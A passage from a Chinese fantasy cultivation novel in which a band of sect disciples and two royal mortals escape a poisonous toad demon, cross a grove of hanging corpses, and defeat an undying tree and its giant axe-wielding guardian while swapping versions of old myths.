姬滢飞出三张符箓,在空中旋转成光圈,她掌心向上将其往蟾蜍怪甩去,就见光圈猛然放大,Kuang地给了蟾蜍一击,将它堪堪逼退。 这时顾梦真掏出一个竹筒般的绿玩意,咻咻咻地就往蟾蜍怪射出几道灵箭,因目标过大他也没刻意对准,有些箭插在它四肢上被一下甩掉,有些被它摇头躲过,不过有一箭较为好运,戳中了蟾蜍怪的一只眼睛。 “咕呱——” 它愤怒地发出一声粗犷的吼叫,“轰”地落在了地上,一屁股坐压了几颗桃树,震得不远处逃窜的几人差点踉跄摔倒; 它沉甸甸的肚子蛄蛹了一下,隐约有一肚子坏水流动的声音,忽然把口一张,伸出一条长长的紫肉舌头灵活地将边上两颗桃树卷了起来往前方甩去。 几人听到破空的动静回头一看,那两棵桃树已经近在眼前、似乎避无可避。童嘉文惨叫一声想往侧边跑,慌张之中绊脚往前摔去,连带着前边的周赫也被他拖累,下意识吼道:“你慌什么!” “本王……” 石映心没在意他们的动静,只是不慌不忙地轻功跃到空中,一剑两树四段,轻轻松松。 童嘉文见状,松了口气却没回过神,狼狈地被周赫扶了起来,拉扯着继续往前跑:“你只管跑,胆子小就别回头看!” “……好。” 他是不该回头看的,接下来的场景有些恶心。就见那蟾蜍怪一边跳来一边先用舌头和她们打招呼,被舌头所波及的桃树皆是惨遭毒舌,中毒树亡;石映心与明易二人用剑与蟾舌纠缠,因担忧剑被腐蚀而不敢直接砍下去,多是用剑气逼退。 这么有些没完没了。明易又为寒竹剑叠加了两层灵气,警惕地挥剑斩去一截舌头,剑上的灵气瞬间被侵蚀渗入,断舌随着蟾蜍怪的怒吼猛然乱甩出一道道毒液。石映心及时赶来大师兄身侧,撑伞挡开一片。 再挪开伞一看,伞面已经腐蚀了薄薄一片,而被砍断的蟾舌又重新长了出来。 情况不妙。二人对视一眼,决定避战赶紧逃。 接下来的情况就比较混乱,他们一边躲避着蟾蜍怪的毒液攻击飞跃追赶蟾舌飞舞,一边歪歪扭扭地绕着地上的毒液往第三个月亮狂奔。 第三个月亮有什么?也许是比兔子怪蟾蜍怪还要可怖难缠的妖怪,但不去是不行的。只好跑啊跑啊,终于又看见了那条熟悉又陌生的长河。只要跳进河中,蟾蜍怪就没办法了——大家都松了口气,心中这么想。 噗通,噗通,噗通…… 石映心一剑劈开蟾舌跳入河中,透心凉的河水让她猝不及防地打了个寒颤,大师兄在前边托着疲累到近乎晕厥的童嘉文,回头喊她一声:“映心,快走!” 石映心应了一声,正要跟着大伙一起往对岸游去,余光却瞥见蹲在岸边的蟾蜍怪似乎有什么动作? 她扭头看去,就见蟾蜍怪原先沉甸甸的大肚子自下而上地蠕动起来,它的咽部比先前都要大许多,似乎含着什么;两只大眼睛木讷而死寂地与她对视,整只蟾蜍呈现出一个……吸气蓄势的状态。 它要做什么? 不等她多想一瞬,蟾蜍怪猛然张开嘴—— 石映心瞳孔微缩,大喊一声“小心”,霎时间踩水而起,荡起一片浪花;她一手握剑一手将伞撑开,旋转的伞面飞出流转的水光,灵气随伞震出形成伞面屏障,遮住了大半飞来的毒液。但仍有许多毒液破障而入,眼见就要坠入水中—— 她只好放弃破损严重的伞面,将伞倒装,如汤勺盛汤一般去将那些毒液收起来,可即使她速度再快也有漏伞之毒,再加上伞面已经摇摇欲坠,每隔一会就有毒液从破烂的伞面滴漏下来,一旦落入夜色的河水之中,就什么也瞧不见了。 好在这时候曾换月她们开始大喊让她赶紧上岸,看来她们已经安全了。 石映心不再恋战,两三步轻功飞回岸上。 顾梦真看见她手中黑黢黢的伞,连忙叫道:“映心,快把伞扔了!” 石映心便把伞扔进长河里,眼见它沉入河中。 “可有受伤?”大师兄飞快地问。 石映心刚想摇头,就听曾换月惊呼一声:“师姐,你的鞋!” 低头一看,原先还算厚的鞋底已变成薄薄一片,大概是她刚刚踩水来的缘故,石映心不慌不忙地换了双长靴,这时明易忽然捉住她的手腕,压着声音说:“手背上有毒。” 大伙蓦地静谧下来,瞪着眼睛看她的手;石映心这才往手背上一看,果真瞧见一块指甲盖大的小黑坑。大师兄拿帕子擦了一下,帕子干干净净的。 “师、师姐……”曾换月面色茫然地望着她,“你没事吧?” 石映心本人是真没什么感觉,若不是大师兄瞧见了,也许她还没发现:“没事,也许只是一点毒素,影响不大。” 曾换月急忙拿出一张解毒符要往她师姐嘴巴里塞:“不管怎么样师姐你先吃一张!” 石映心:“唔唔唔……” 只好艰难地在嘴巴里嚼吧嚼吧,这时发现自己的手腕还在被大师兄拿着把脉,见他眉头紧蹙、面色凝重的模样,石映心莫名有些心虚。瞥了眼其他人,除了还在昏厥中的童嘉文,五张脸都很严肃。 过了有一会,一瞧见明易松开了她的手,曾换月就急切问:“大师兄,师姐怎么样了?” 明易很古怪地沉默了一会,摇摇头道:“没找到毒素。” “啊?没找到是什么意思?师姐没中毒吗?” 石映心先是松了口气:“我确实没觉得有哪里不舒服。”刚刚是不是白吃符箓了? 顾梦真摸摸下巴:“难道是这点毒素早已被映心的真气给收拾了?” 明易的脸色并无放松,只是说:“最好是这样,等出去后再做仔细检查。” 接着朝躺在地上的童嘉文一抬下巴:“把他叫醒准备赶路。” 坐在四皇子边上休息的童柔意先是喊了他几声,又推了他几下,接着沉默地抬起手来,往他脸上扇了一巴掌。 几人:OO “啊!”童嘉文惊起而坐,一脸没回神的模样,“发、发生什么事了?” 童柔意还是沉默着没做声,站起来拍了拍衣裙,深藏功与名。 周赫抱着胸道:“四皇子睡够了?睡够就走吧。” “哦、哦……”他当然没睡,不过本就窘迫了,何苦再说出来丢脸呢? 他们稍作休整,算是喘了口气,便打算继续出发。这会已经处在第三个月亮的照临范围内,虽然不清楚继续走下去会遇见什么,但都不白来哈。 不管是第几个月亮,月色下的桃花林几乎是相同的景色,一开始的欣赏早已尽数褪去,只留下可怖和担忧。 石映心发现大师兄时不时盯着她瞧。大师兄思虑重,估计还在担心她疑似中毒的事吧,倒是能理解,于是主动和他说:“大师兄,我真的没事。” 明易收回视线:“嗯。” 过了一会又盯着她。石映心摸摸后脑勺,总觉得视线已经扎在她头上了。好在她是一个适应能力很强的剑修,很快就不在意起来。要看就看吧,反正她没事,大师兄看着看着就安心了。 他们继续走啊走,步行数百步,豁然开朗,只见眼前一改桃红,竟是一片黄绿的桂树,阵阵桂花香幽幽飘来,馥郁的香气渐渐由鼻子进入脑中,叫人飘飘欲仙,神志不清…… 明易猛然回过神来,急速封闭了嗅觉,转头一看,个个都是痴呆的神色,只好挨个把其他人唤醒,顺便给两个凡人也把嗅觉封了。 “危险危险!”曾换月狠狠地深呼一口气,确定什么也没闻到之后才松口气道,“差点着道了!” 顾梦真警惕地看着几十步外的桂树林,警惕道:“好好的桃林塞,怎么长了一片桂树林……必有古怪!” 石映心颔首道:“我去瞧瞧。” “映心……” 不等明易拉住她,姬滢就道:“石道友,我们总之是要过这片桂树林的,还是一同过去吧。方才蟾蜍怪一事多亏有你断后庇护,不然现下怕是死的死伤的伤。但总不能一直让你首当其冲。” 曾换月应和道:“是啊师姐,刚才你中毒我都吓死了。我们还是一起去吧。” 石映心的想法很简单,既然这里就她和大师兄最强,那定是一个去探路一个留下庇护的,而两者之间她更喜欢“首当其冲”;她也觉得自己能全身而退——若是她不行,其他人就拉倒吧。 大家一起去就大家一起去吧,反正不管谁去谁不去,她都是要过去的。 第86章 这桂树林远看普通,走近了看也很普通,果然还是要进去瞧瞧。这似乎是“桃林塞”的套路,可她们确实没招,只能知难而进。 一踏入林中,迎面一阵阴风,辟邪灯的火苗被风吹散了一瞬,摇摇晃晃着,竟还是坚·挺地留下了一指甲盖的大小,虽说已毫无照明作用,但大伙都感到了它的努力。 “歇会吧小灯。”顾梦真同情地把它吹灭了。 桂树林中比外头要黑一些,透过葳蕤的枝叶,隐约可见遥遥窥视着她们的月亮。曾换月收回和大圆盘对视的目光,默默地咽了咽口水,第一次觉得月亮是这么可怖的存在。 她们要往前走,每走一步就感到有风吹来,吹得树叶沙沙作响,若是几人没屏蔽嗅觉,估计能嗅到阵阵的浓香,因为常常有几粒桂花打在她们脸上,像是一种细小的挑衅。 “这些破树头皮屑真多。”曾换月哼哼出鼻子里的桂花,气愤地吐槽道,“担心我师姐把你们砍掉!” 石映心于是脚步一顿,思酌道:“可以试试。” “算了算了。”小师妹又连忙抱住她,“要是触发什么机关就不好了,我就骂几句过过瘾哈哈……” “喂!”周赫忽然压低声音低呼道,“前面的树下好像……有人?” 怎么会有人呢?众人提心吊胆地伸长脖子往前看去,昏暗不明之中真的在一颗桂树后瞧见了人影,似乎还在动作? “难道是误入桃林塞的百姓?”这是顾梦真的猜测,他用胳膊肘怼了怼边上的明易,“大师兄,你过去看看。” 明易略微颔首,大步往前走去,大伙不远不近地跟在他几步之后。走近之后,明易便瞧清了那人影是怎么回事: 是一个人不错,不过是个死人;是死人也不错,不过是个倒吊的,下肢双腿并拢被麻绳系紧吊在树上,头几乎抵着地面但仍有一寸残留,这使得他得以随风摇晃,干枯的头发在地上能顺便扫扫落花落叶,也算是废人利用了。 此人瞠目结舌,脸上有倒着流的涕泗和血迹,面色有些灰扑扑的、不新鲜的枯槁感,应该是死了许久。 这是真的凡人吗?明易有些拿不准。 后边差他几步的几个人走近了,很快传来穿透林子的尖叫声。明易无暇顾及他们的兵荒马乱,只听到石映心在边上问:“大师兄,这是真的死人吗?若是真的,又是谁杀了他?” 不等明易回答,又有一个女声默默道:“‘撼天动地’之死。” 二人扭头看去,是姬滢,见她面色是凝重的冷静。石映心问:“撼天动地?什么意思?” 姬滢道:“传闻许久以前,有一吴氏离家学仙三年,归来之后却得知其妻与外人私通,还诞下三子;此人愤怒不已,便将奸夫倒悬在树上,活活吊死……” “呕……”曾换月庆幸自己在洛邑城外吃的东西这会已经消化掉了,“好残忍啊呕……” 居然还没晕的童嘉文虚弱道:“不过此奸夫**也是死有余辜,对了,怎么只见奸夫不见**……” 姬滢瞥他一眼:“此事并非如此简单。当时夷夏交争,吴氏属夷,奸夫乃夏帝血亲,夏在当地胜夷,故可惩治吴氏。夏帝认为奸夫虽犯了淫罪但论刑不至于死,吴氏虐杀之实属过分,可念在奸夫有错在先,便从轻发落吴氏,将其送去月宫服伐桂苦役,直到他砍倒桂树为止。” 说到这顿了顿,看向吊着尸体的桂树说:“但他要砍的不死桂树乃是神树,不仅高大无比,还能自愈斧伤,根本砍不倒。” 嗯?曾换月听到这一愣,心说这个故事为何和吴刚伐桂的故事有些相像?都是姓吴,都是桂树。可她印象中吴刚不是因为这原因才被罚去广寒宫砍树的吧……果然她们后来听到的传说故事和以前是不同的吗? “啊?”顾梦真唏嘘道,“那还不如死了一了百了。这夏帝压根是在报复吧?” 姬滢轻飘飘道:“也许吧。” 又听皱眉的童嘉文问:“所以这位夏帝又是如何惩治**的?” 姬滢想了想,微微摇头:“并无详细消息,不过听说后来这女子将其中两个孩子送往月中与吴氏相伴,看来至少并无性命之忧。” 石映心在边上幽幽地说:“只留下了一个孩子,那她轻松许多了。” 曾换月“哇”了一声:“看来她根本没事嘛。” 她们说着有些打趣的意味,仿佛只是在聊八卦,倒是四皇子很义愤填膺,用他虚虚的声音狠狠地说:“这人枉为人帝,简直是非不分、以权谋私!难道忠诚良将、平民百姓毫无异议?” 姬滢平静道:“上古之帝皆是人中骐骥、身负神力,并非你等凡人。在如此神威面前,是非公私岂容他人质疑?” 童嘉文:“这是暴君!昏君!” 姬滢:“是又如何?” 童嘉文能如何呢,他一个跑不赢兔子、会被蟾蜍恶心到吐,看见尸体要尖叫的凡人能如何呢?骂两句过过嘴瘾罢了。 “原来从前的皇帝不是凡人。”童柔意有些感概,自言自语般喃喃了一声,“为何现在却……” “今时不同往日。”姬滢道。 那些无法探究的源头,世间百态的起承转合,浩浩汤汤的过往到如今也只剩下一句时过境迁。 所以话说回来,她们自然不能被这一具倒吊的尸体阻拦了前进的脚步,闲谈两句后就绕过尸体往里头走。谁知没走几步又遇见一具尸体,一模一样的姿势,人倒是不同的人。 继续绕过往前走,走一会又又瞧见一具;再走一会,又又又瞧见一具…… 在瞧见第四具尸体的时候,顾梦真小心地说:“那个,你们有没有觉得……这些尸体似乎在帮我们引路?或者说,我们都在下意识地顺着他们的方向走……” 好像确实是这样,不过石映心这么认为:“也许就是要我们去一探究竟。” “好吧。”顾梦真挠挠脖子,“那走吧……” 这会还没走两步,明易顿住脚步低声道:“有动静。” 大伙便安静下来竖耳倾听,只听隐约有“坎坎”的声音传来,一下一下,还有一些节奏。 曾换月用气声说:“有人在……砍树?” 石映心:“过去看看。” 说着就往坎坎声传来的地方走,大家也知道要去,但没想到她这么干脆,只能稀里糊涂地跟上去。越往那方向走,越频繁地瞧见一棵棵挂着尸体的桂树,等坎坎声近在耳边时,她们已身处倒尸林中,有多少树就有多少死人。 童嘉文紧紧挨 着周赫,生怕一不小心就碰到边上轻轻摇摆的尸体,那一声一声坎坎仿佛砍在他的心头,叫他脑子渐渐昏沉。 他分明贵为皇子,不日便要登基为帝受众人敬仰、享富贵尊荣,究竟为何会出现在这里,还要受这样的折磨? 难道这就是天将降大任于斯人也,必先劳其筋骨,饿其…… 坎! 童嘉文一个激灵,额上已布满了冷汗,颤抖着眼珠子越过周赫的后脑勺一看,只见有一个壮硕的男人站在一棵比其它树高大两倍的桂树面前,正一下一下地将斧头挥起、砍下,每一次都震得大地微颤,可那棵树却巍然不动。 他恍然想起姬滢说的故事。 大家都想到了,不过目前的重点不在这个砍树杀人犯是不是姬滢故事中的吴刚,而是她们应该如何应付他。 “你们看……”曾换月悄咪咪地把手往前方一指,很快又缩了回来,小声道,“对面是悬崖,那座桥过去就是第四个月亮……我们现下不能飞,只能走桥了,所以,该不会……”这个砍树人不让她们过桥吧? 很显然是这样的。 顾梦真胳膊肘怼怼明易:“大师兄,他看起来好壮好凶啊,你去和他说说能不能放我们过去?能不打还是不打了吧……” 简直是痴人说梦,明易想,不过他还是往前走了几步,对那个还在砍树的壮汉礼貌道:“请问……阁下为何在此?” 壮汉动作停住了,转过来面向他们,他比几人高出近半个人,双腿张开大刀阔斧地往哪一站,完全就是一个巨人。他手中的斧头也比一般的斧头大许多,感觉一招就能轻松把人拦腰斩断。 他指了指树,又指了指自己,最后头也不回地,将手越过肩膀指了指身后的悬崖吊桥。 石映心莫名懂得他的意思:“他说要么把树砍倒,要么把他杀死,不然他不会放我们过去。” 周赫诧异道:“他真这么说的?” 石映心不予解释,只是要往前走,明易叫住她:“映心。” “没事,”石映心说,“总之是要过去的。” 那是这么个道理。明易只能紧跟在她身后走着,警惕地盯着壮汉的动静。这二人走近在壮汉边上一对比,更显出他夸张的身形;而他要坎的“神树”仿佛是为他量身定做的,正是寻常人比之寻常树的模样。 石映心走过去踹了踹神树,算是打招呼;明易把她拉过来,用寒竹剑随意砍了两下,其实注意力是在壮汉身上,见他只是默默站在那盯着他们并无动作,只是一张麻木僵硬的横脸,便心想映心说的大概是对的,这怪人确实是要她们砍树的意思。 于是捏着剑柄的手紧了紧,打算认真砍砍看。 石映心先退了几步给师兄发挥的空间,见他以灵力赋剑,几招熟悉的元婴剑式流畅舞起落下,一剑飞速刺入神树之中,再掌心往剑首一推—— 第87章 神树发出咯吱的撕裂声,有一道裂痕从剑而出爬了半边的树干,但在眨眼间又迅速复原,那繁杂的树纹仿佛一如先前,无事发生。 明易微愣,很快拔剑收了回来,轻扫一眼,剑身上除了有些碎屑之外,并没有损坏。 后边几人嘀嘀咕咕起来: 顾梦真:“连大师兄的剑都砍不了?” 曾换月:“那很糟了。” 姬滢:“石道友也可一试。” 周赫:“可石映心的境界没明易高吧?” 果然接下来就轮到石映心用帝血剑试了试,结果没差。大伙琢磨了一下,曾换月举手道:“要不试试我的爆破符?” 顾梦真奇怪道:“你画这些偏门符箓到底是干啥用?” 曾换月一边掏符箓一边白他:“这不就是能用上的时候?而且二师兄你完全没资格说我吧?” 她还画了好多呢,拿在手上有些厚的一叠,于是绕着神树往上边贴了几圈,贴好后退了几步远道:“我不知道效果如何哈,你们躲远点!” 大伙默契地退到百步外。 曾换月:……倒也不必这么远! 比划手诀的时候又瞥到站在边上一动不动的斧头壮汉,犹豫了一下还是客气道:“那个,你要不也躲远点?” 壮汉:== 曾换月:“我可提醒过你了!” 壮汉:== 于是她飞快地掐诀激活符箓,随手一扔掉头就是轻功飞跑,飞到快半路的时候只听后边炸雷般的一声“砰”,有一股热烘烘的气把她往前推去——好在师姐飞来接住了她。 二人稳稳落地,曾换月喘了口气,侥幸地朝师姐和师兄眨眼睛:“那个傻子居然不跑,这下好了,就是炸不死树也能炸死他,哈哈哈!” 石映心点点头。顾梦真忧心地说:“最好是吧。” 前方一片硝烟迷雾,众人不敢移开目光,皆是期待又忐忑地盯着看去。就见硝烟渐渐散开,先是露出一些被炸裂的桂树和尸体的残影,皆是错乱地倒在地上,一时人尸树尸交错,难以分清。 再散开一些,就瞧见那棵卓然而立的神树了,这下边上的小弟树们都被炸得干干净净,一堆废墟倒显得它比之前还要脱俗不凡,树冠葳蕤好似一片叶子都没掉,微微摇晃着仿佛在嘲笑谁的不自量力。 不等硝烟散尽,她们紧接着瞧见了立在边上的壮汉,他竟也像这神树一般完全毫发无损,破烂的衣服还是那么破烂,乱糟糟的长发还是那么乱糟糟,甚至连麻木的表情都无任何变化。 八人:OoO…… 这下完蛋啦。 “搞什么啊……”曾换月大吃一惊,“神树就算了,这人怎么也没事啊?” 姬滢合理推测:“也许此人也与神树一般有了不死之身。” 曾换月:“那我们怎么办?” 顾梦真:“不知道啊!” 姬滢沉吟片刻,提议道:“不如我用障眼法一试。” 其余人:? 一开始还不清楚她说的障眼法是什么意思,于是就看着她走到神树边上,绕着神树画圈圈和各种陌生的图样,画好后站定一施法——咦,神树竟然凭空消失了! 等等,抬头一看,怎么还剩下一小块飘着的树冠?姬滢沉默了一下,大概是没料到这棵树这么大,于是手一伸又对那树冠补了一下法术,这下神树是“消失”得一干二净了。 “没了。”她对着壮汉一脸认真。 壮汉:== 其余人:…… “回去吧姬滢,”曾换月拉着她走,“回去吧。” 姬滢似乎还想逞强一下,但壮汉走过来挥起斧头一劈,她的障眼阵法就被劈破了,那棵神树当然还是好端端的。 接着顾梦真试图把神树收到星月葫芦里——显然是没用的; 又拿出大力绳捆在树上让大家一起拔树——拔得动才怪了; 明易呼风唤雨召唤出天雷劈神树——断裂到一半又让它复原了。 …… 目前他们遇到的问题是杀死树的速度没有树恢复的速度快。 几人围圈圈坐下,面色都非常沉重。 “没招了。”曾换月抽了抽鼻涕,“这次是真没招了。” “完蛋了。”顾梦真摇了摇脑袋,“这关真的不好过。” “万物相生相克,”明易冷静分析,“一定是我们还没找到能克制神树再生的办法。” 上哪找呢? 这时候童柔意道:“树是神树,人不一定是神人;我们拿神树没办法,不如试试杀人?” 童嘉文一听就否定道:“不可。现下我们与那壮汉并无冲突,他也没急着要我们的命,何必赶着去自讨苦吃?若是造成更糟的局面该如何?” 童柔意瞥他一眼,没说话了。 其实她们之前都是童嘉文的想法,如果能不起冲突、安安全全地过了这关是最好的,但若是实在不行,也要试着去杀壮汉。 大家都沉思着,石映心抬头看向姬滢说:“方才姬滢的故事中说,夏帝给了吴氏一把斧头让他砍树,斧头就是克树的神器。” 周赫说:“但是吴氏拿着斧头也砍不了树啊。” 石映心站起来说:“斧头克树是天地常理,也许砍不了树的是人。” 她什么意思? 大伙有些云里雾里,只能跟着她来到壮汉边上,见她指了指壮汉手上的斧头说:“给我试试。” 壮汉没什么情绪地瞥了她一眼,一直没动作的身体总算有了动作,不过他没有直接把斧头给石映心,而是往地上砸了一下,斧头嵌入了大地中几寸。然后指了指斧头,没说话但明显意思是“拔的出来就给你”。 曾换月:挑衅!明晃晃的挑衅! 石映心倒是没觉得有什么,她先是将这把巨大的斧头施法变成了普通的大小,然后握住手柄一拔—— 哎呦,拔不出来哦。 见她动作凝滞,明易也上手试了试——不行。 就算知道这两人拔不出来自己肯定也不行但是依旧想试试的其他六人也纷纷试了,然后发现真的不行诶。 不着急不着急,顾梦真说,我把大力绳捆上大家一起拔哈,神树拔不出来不至于这小小斧头也不行吧哈哈。 然后大伙在大力 绳的加持之下和斧头拔河——败。 她们累得上气不接下气,纷纷坐下来休息。周赫瞥了眼身后麻木地看她们笑话的壮汉,又瞥了眼不远处的悬崖吊桥,小声地说:“喂喂,要不我们趁机跑吧?” 曾换月残酷道:“你说有没有可能我们在桥上跑到一半然后一把斧头飞过来吊桥就断了然后我们就摔了下去然后我们现在还飞不起来呢?” 太有可能了,仿佛脑海中已经出现了这可怕的画面。 顾梦真试图理清什么:“这把斧头我们几个人都拔不出来,但这怪人却是轻轻松松,可见他力大无比……就算映心的猜测是对的,只要换个人用斧头就能把树砍到了,但我们现在也没有怪人的神力……” “也可以有。”石映心平静地说。 她如此理所当然的语气让其他人的视线都集中在她身上,有人知道她想干什么,有人还不知道。 明易眉头微皱,谨慎道:“只是单独的……力气,也行?” 石映心点点头:“我试试。” 她这段时间一边引气入体开镜一边琢磨镜法,这会可以正好试试。 明易不得不有些忧虑:“万事小心,不要勉强。” 石映心稳重地颔首,在大伙的注视下走到还扎在地里的斧头边上,先是对着壮汉眨了下眼睛,然后右手握拳紧了紧,一弯腰抓住了斧头的手柄—— 姬滢等人不知道她要做什么,但也静默看着。只见她的腰直了起来,轻松地带起了那把为难众人的斧头。 大伙:OO? 啊?怎么这下如此轻松了?? 石映心看着手中的斧头,心中有些满意,她自己估摸着现在能效仿两刻钟内见过的“功法”,先前是只能随照随用的。 那壮汉见她拿起了斧头,原先毫不在意的视线忽然停在她身上,粗狂到仿佛没有细腻感情的脸上竟有一丝明显的古怪诧异。 石映心这会懒得理会他人的思绪,她就想赶紧把这破树给砍了:她将斧头高高挥起,虽说先前没用过,但跟用剑也差不多吧?先附着上厚厚的灵力,接着使巧劲儿往下一劈—— 砍!! 轰然一声,在众目睽睽之下,神树微微一颤,仿佛自己也不可思议地,居然就这么倒了下去,Kuang的砸在地上好大一声,荡起漫天尘土。 场面一静。 机警的剑修担心这断树又接上,飞起一脚把它踹远。 场面二静。 这下行了吧?拿着斧头的剑修转头看呆呆盯着她的壮汉,舒了口气道:“你亲眼所见。” 场面三静。 “欧耶!”曾换月跳了起来,“过关了过关了!!不用跑啦哈哈哈!” 大家脸上都露出高兴的笑容,喜气洋洋地互道太好了太好了。 有人欢喜有人忧,比如哑巴壮汉就忧郁地说话了:“为、为什么……” 她们惊奇地看去,就见那张僵硬的脸上渐渐浮起一些怒火,原先一动不动的硕大肉身隐隐地颤动起来,震得他脚边的碎叶泥尘隐隐发抖。 明易感到不妙,大喊一声“快跑”,领着几人往吊桥跑去。 童嘉文尖叫一声,还未从喜悦中回过神来,见那壮汉要开始动作,更是吓得有些腿软,好在周赫拉了他一把,才踉踉跄跄地跟上跑路的队伍。 那壮汉没着急追,而是扭头在找着什么,这给她们争取了一些时间。不过等他发现他要找的斧头在石映心手上的时候,他“啊”地吼了一声破防了,迈着沉重的步伐朝她们跑去,每一步都震动着大地,悬崖边的碎尸块块落下,可怖的悄无声息。 吊桥随着壮汉越追越近,夸张地摇摆了起来,有一副要将他们甩出去的架势;几人歪七扭八地在上头飞奔,此时已经顾不得下方的万丈悬崖,只一边尖叫连连地发泄心中的恐惧一边脚下不停地跑啊跑啊。 对岸近在眼前! 第88章 一个,两个,三个,四个…… 咔吱!那个男人上桥了! 桥面猛然往下倾塌,曾换月手疾眼快地捉住了童柔意的手臂,使出咬牙的劲将她拉了上来;明易一手抓着边上的吊桥扶绳固定,另一只手揪着童嘉文的后衣领将他甩到了岸上。 他侧头叫道:“映心!” 石映心刻意离大伙保持一定距离,因为她带着斧头整个人非常沉,方才都是用轻功在桥上跑的,这会儿等人都差不多上岸了,才飞步朝明易跑去,两三步点在摇摇欲坠晃荡不已的桥面上,宛若凌波微步般轻快。 她先是抓住了大师兄伸来的手,紧接着把手中的斧头往后一扔—— 那壮汉不知是傻的还是压根已经疯了,见斧头飞来也不跑,一双麻木而红的眼只追踪着石映心的身影,嘴里还喃喃自语着“为什么为什么”。 谁知道为什么。 咔!哐! 吊桥被斧头切成一半,壮汉瞬间双脚踏空,凌空迈了一大步,伸出手来最终只是抓住了那把陪伴他已久的斧头,两两相伴一同掉落悬崖之下,连一声尖叫也没留下。 还挂在吊桥上的师兄妹二人收回望向深渊的目光,对视一眼,默契又轻松上了岸。 “吓死人了……”见师姐师兄都顺利上了岸,曾换月整个人一松,随着心头落下的大石头跌坐在地上,一脸虚脱,“他还不守信用,明明我们已经把树砍掉了还来追我们!” 顾梦真对师妹竖起一个大拇指:“还是映心厉害。” 石映心实诚道:“只要能举起斧头,砍树也不是那么难。” 童柔意脸色苍白,不过和四皇子比起来还是有些说话的力气:“可为何那个怪人砍不了?” 曾换月啧啧啧:“针对啦,绝对是针对。就像姬滢故事中所说的吴氏,肯定是被夏帝针对了。” 童嘉文大喘气:“太过分了!” “要真是这个吴氏,他根本是活该吧。”顾梦真撇嘴道,“已经在受罚了还屡教不改,又杀了那么多人倒吊在树上,谁知道这些人是不是无辜的?” “就是就是……”曾换月叹了口气,坐在地上摆摆手说,“不行了不行了,我得歇会,谁知道第四个月亮里有什么难缠的怪物,我们趁现在消停的时候歇会吧大师兄!” 明易见她们都是疲于奔命、精疲力竭的样子,两个凡人更是脸色苍白到近乎晕厥,再看看石映心没有什么毒性发作的异样,便点头同意了。 大伙坐下来歇息。童嘉文似有些羞于开口:“几位可有随身携带口粮?我与柔意只是凡人之躯……” 半仙之躯的几人还真的忘了这事,她们虽然贪吃,但也是可吃可不吃的,要是路上遇见什么好吃的就吃,遇不见也不会想起来……这会被童嘉文这么一 问,都表示了爱莫能助。 只有周赫带了两个干巴巴的、看起来放了有几天的饼来。公主皇子虽然从没吃过这等难以下咽的食物,但还是道了谢后接过来啃了,瞅那难看的脸色跟受罪也没区别。 姬滢有些意外道:“师兄,没想到你会随身携带干粮。” 周赫挠挠脸:“我也是想着要此行带两个凡人……以防万一。” 姬滢点点头,又听童嘉文声音沙哑地问:“周仙人,有水吗?” 周仙人:“那没有。” “可惜了这么多桃树,怎么没一棵结果?”曾换月把手中捏烂的叶子扔飞,自言自语叹气道,“算了,有也不敢吃,还馋人呢。” “欸~你看!”顾梦真反手变出了一个水灵灵的大桃子来,娇艳欲滴地散发着桃香,惹得众人的目光跟随。 曾换月扑上去抢:“你刚刚不是说没吃的吗!” 顾梦真任由她抢过去,笑眯眯地瞧小师妹一口咬下——然后嘎达咬了一口空气,瞪着手中的青色石头傻了眼:“这什么啊!” “嘿嘿,这个宝贝叫望梅止渴,”顾梦真得意道,“可以变换出我载入的所有食物的模样,还有香气哦。”说着又把青石变成了一个肉包子。 曾换月感觉被耍,气笑了一声,把肉包子打回去:“你炼制这些没用的玩意做什么!” 顾梦真将肉包子收起来,撇嘴道:“要是日日炼些没意思的宝器,那我也很没意思。” 又瞥她:“你还好意思说我?” 曾换月翻白眼:“天天画那些没意思的符,我也很没意思。” “干嘛抄我借口?有种你去师父面前这么说。” “有种你先去说!” “谁怕谁啊……” …… 师父不在,不堪其扰的就变成了明易,他对随时随地能吵起来的二人表示头疼,对比之下,映心真是可爱又乖巧…… 石映心戳戳大师兄:“大师兄,你说这悬崖之下会有什么?难道会是阴曹地府吗?不如我们想办法下去看看?” 明易:…… 没一个省心。 “看来都休息得差不多了,走吧。” “哦。” 第四个月亮会带来什么? 她们往前走,不知是不是在热血沸腾的逃生过后有这片刻的喘息机会,在冷静下来之后竟然觉得有些阴冷。曾换月看着天上的九个月亮,忽然转头问姬滢:“姬滢,你听过后羿射日的故事吗?” “你是说,”姬滢顿了顿,“羿射九日的传说?” “哪四个字都行!你们那是怎样的故事?” 姬滢道:“帝俊赐羿彤弓素矰,以扶下国……天有妖孽,十日并出,民不聊生……羿射落九日。” “嗯?这个帝俊是谁?”曾换月有些疑惑,“我老家那边的说法是:天上忽然出现十个太阳,照得大地热得死人,还有好多怪兽祸乱人间;有一个叫后裔的神射手受天帝之名……咦?这里的天帝就是帝俊?” “你不知道帝俊?”姬滢似有些意外,看向她身后道,“我以为你们和明道友交好,多少知道些。” 曾换月看向大师兄:“关我大师兄什么事?” 姬滢却微微摇头道:“既然明道友不说,那我也不便多嘴。” 曾换月:? “大师兄!” 大师兄:“你为何突然提到羿射九日的故事。” “哦,这个嘛,”曾换月注意力一歪,“因为我看这里有九个月亮……就想到后羿射掉了九个太阳……哈哈,都是九嘛。” 几人:…… 曾换月异想天开道:“如果我们能射掉这九个月亮,也许就可以轻松走出去了。” 石映心:“我们没有箭。” 顾梦真:“也没有神力。” 明易:“你说得有一定道理,也许这九个月亮正是构成桃林塞结界大阵的阵眼,但如今我们还未解决不能飞的问题,对射箭一事更是一知半解。还带着四皇子二位,万事还需小心行事。” 那是这么一个道理。 “曾道友,”姬滢这时候说,“你可知晓羿射九日的传说来源?” “啊?还有来源?” 姬滢微微颔首,仰头看向头顶的第四个月亮:“上古时期有许多氏族,当时万物伊始,天地空荡,太阳和月亮便是最神圣的存在。因此有许多氏族是以日为图腾、崇拜太阳神。” “可各族人对太阳的看法往往迥异,所推崇的太阳神也各有不同,他们彼此之间互不为谋。羿所在的氏族认为他族的太阳异于本族的太阳,固有射神羿射九日的举动……实则可以推测,是羿所在的氏族射技了得,灭了其他崇祀太阳神的氏族。” 曾换月微惊道:“喔趣,你这个版本好有道理!” 姬滢朝她笑了笑:“这些传闻异辞在口口相传、代代更替中变得扑朔迷离,究竟什么是真什么是假早已无法确认,只需相信你想相信的便是。” 曾换月若有所思地点了点头,忽然听边上的师姐说:“夸父逐日也是有关太阳的传说,照姬滢的说法,童嘉文说的情节就不是真的。” 姬滢于是问她:“是吗,石道友觉得应是如何?” “逐日,画中的人就像是在征战了。”石映心说。 童嘉文弱弱地问:“所以……又关我们童家有何干系呢?” 